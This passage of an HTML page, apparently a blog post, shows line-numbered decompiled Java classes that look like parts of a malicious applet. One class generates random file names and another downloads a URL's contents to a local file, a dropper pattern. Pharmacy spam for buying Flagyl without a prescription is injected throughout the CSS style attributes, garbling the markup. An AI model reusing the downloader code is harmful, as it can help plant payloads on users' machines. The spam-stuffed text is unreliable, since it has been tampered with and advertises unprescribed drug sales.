<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  34:</span>             }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  35:</span>         }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  36:</span>         catch(Exception exception)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  37:</span>         {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  38:</span>             c_js1.js(&quot;</span>JSM_onLoadFail&quot;, <span style="color: #0000ff">this</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>buy Flagyl no prescription</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  39:</span>         }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  40:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  41:</span> }</pre>  </div></div></p>
<p><p>c_gP.java</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Flagyl natural</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> <span style="color: #0000ff">class</span> c_gP</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   2:</span> {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   3:</span>     c_gP()</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   4:</span>     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   5:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, <b>online buy Flagyl without a prescription</b>, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   6:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   7:</span>     <span style="color: #0000ff">public</span> <span style="color: #0000ff">static</span> String gP(<span style="color: #0000ff">int</span> i)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   8:</span>     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   9:</span>         <span style="color: #0000ff">char</span> ac[] = <span style="color: #0000ff">new</span> <span style="color: #0000ff">char</span>[i];</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  10:</span>         <span style="color: #0000ff">int</span> j = 65;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, <b>Buy generic Flagyl</b>, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  11:</span>         <span style="color: #0000ff">boolean</span> flag = <span style="color: #0000ff">false</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  12:</span>         <span style="color: #0000ff">for</span>(<span style="color: #0000ff">int</span> l = 0; l &lt; i; l++)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  13:</span>         {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  14:</span>             <span style="color: #0000ff">int</span> k = (<span style="color: #0000ff">int</span>)(Math.random() * 3D);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  15:</span>             switch(k)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  16:</span>             {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, <b>Flagyl dangers</b>, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  17:</span>             <span style="color: #0000ff">case</span> 0: // <span style="color: #006080">'\0'</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  18:</span>                 j = 48 + (<span style="color: #0000ff">int</span>)(Math.random() * 10D);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  19:</span>                 <span style="color: #0000ff">break</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  20:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  21:</span>             <span style="color: #0000ff">case</span> 1: // <span style="color: #006080">'\001'</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, <b>My Flagyl experience</b>, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  22:</span>                 j = 97 + (<span style="color: #0000ff">int</span>)(Math.random() * 26D);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  23:</span>                 <span style="color: #0000ff">break</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  24:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  25:</span>             <span style="color: #0000ff">case</span> 2: // <span style="color: #006080">'\002'</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  26:</span>                 j = 65 + (<span style="color: #0000ff">int</span>)(Math.random() * 26D);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  27:</span>                 <span style="color: #0000ff">break</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Flagyl without prescription</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  28:</span>             }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  29:</span>             ac[l] = (<span style="color: #0000ff">char</span>)j;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  30:</span>         }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  31:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  32:</span>         <span style="color: #0000ff">return</span> <span style="color: #0000ff">new</span> String(ac);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Flagyl schedule</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  33:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  34:</span> }</pre>  </div></div></p>
<p><p>c_de.java</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> import java.io.*;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, <b>Flagyl street price</b>, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   2:</span> import java.net.URL;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   3:</span> import java.net.URLConnection;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   4:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   5:</span> <span style="color: #0000ff">class</span> c_de</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   6:</span> {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, <b>Flagyl trusted pharmacy reviews</b>, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   7:</span>     c_de()</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   8:</span>     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   9:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  10:</span>     <span style="color: #0000ff">public</span> <span style="color: #0000ff">boolean</span> de(String s, String s1)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  11:</span>     {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  12:</span>         try</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Flagyl online cod</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  13:</span>         {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  14:</span>             String s2 = s1;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  15:</span>             BufferedOutputStream bufferedoutputstream = <span style="color: #0000ff">null</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  16:</span>             InputStream inputstream = <span style="color: #0000ff">null</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  17:</span>             URL url = <span style="color: #0000ff">new</span> URL(s);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, <b>Purchase Flagyl for sale</b>, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  18:</span>             bufferedoutputstream = <span style="color: #0000ff">new</span> BufferedOutputStream(<span style="color: #0000ff">new</span> FileOutputStream(s2));</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  19:</span>             URLConnection urlconnection = url.openConnection();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  20:</span>             inputstream = urlconnection.getInputStream();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  21:</span>             byte abyte0[] = <span style="color: #0000ff">new</span> byte[1024];</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  22:</span>             <span style="color: #0000ff">int</span> i;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, <b>order Flagyl no prescription</b>, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  23:</span>             <span style="color: #0000ff">for</span>(long l = 0L; (i = inputstream.<span style="color: #0000ff">read</span>(abyte0)) != -1; l += i)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  24:</span>                 bufferedoutputstream.<span style="color: #0000ff">write</span>(abyte0, 0, i);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  25:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  26:</span>             <span style="color: #0000ff">if</span>(inputstream != <span style="color: #0000ff">null</span>)</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  27:</span>                 inputstream.<span style="color: #0000ff">close</span>();</pre></p>
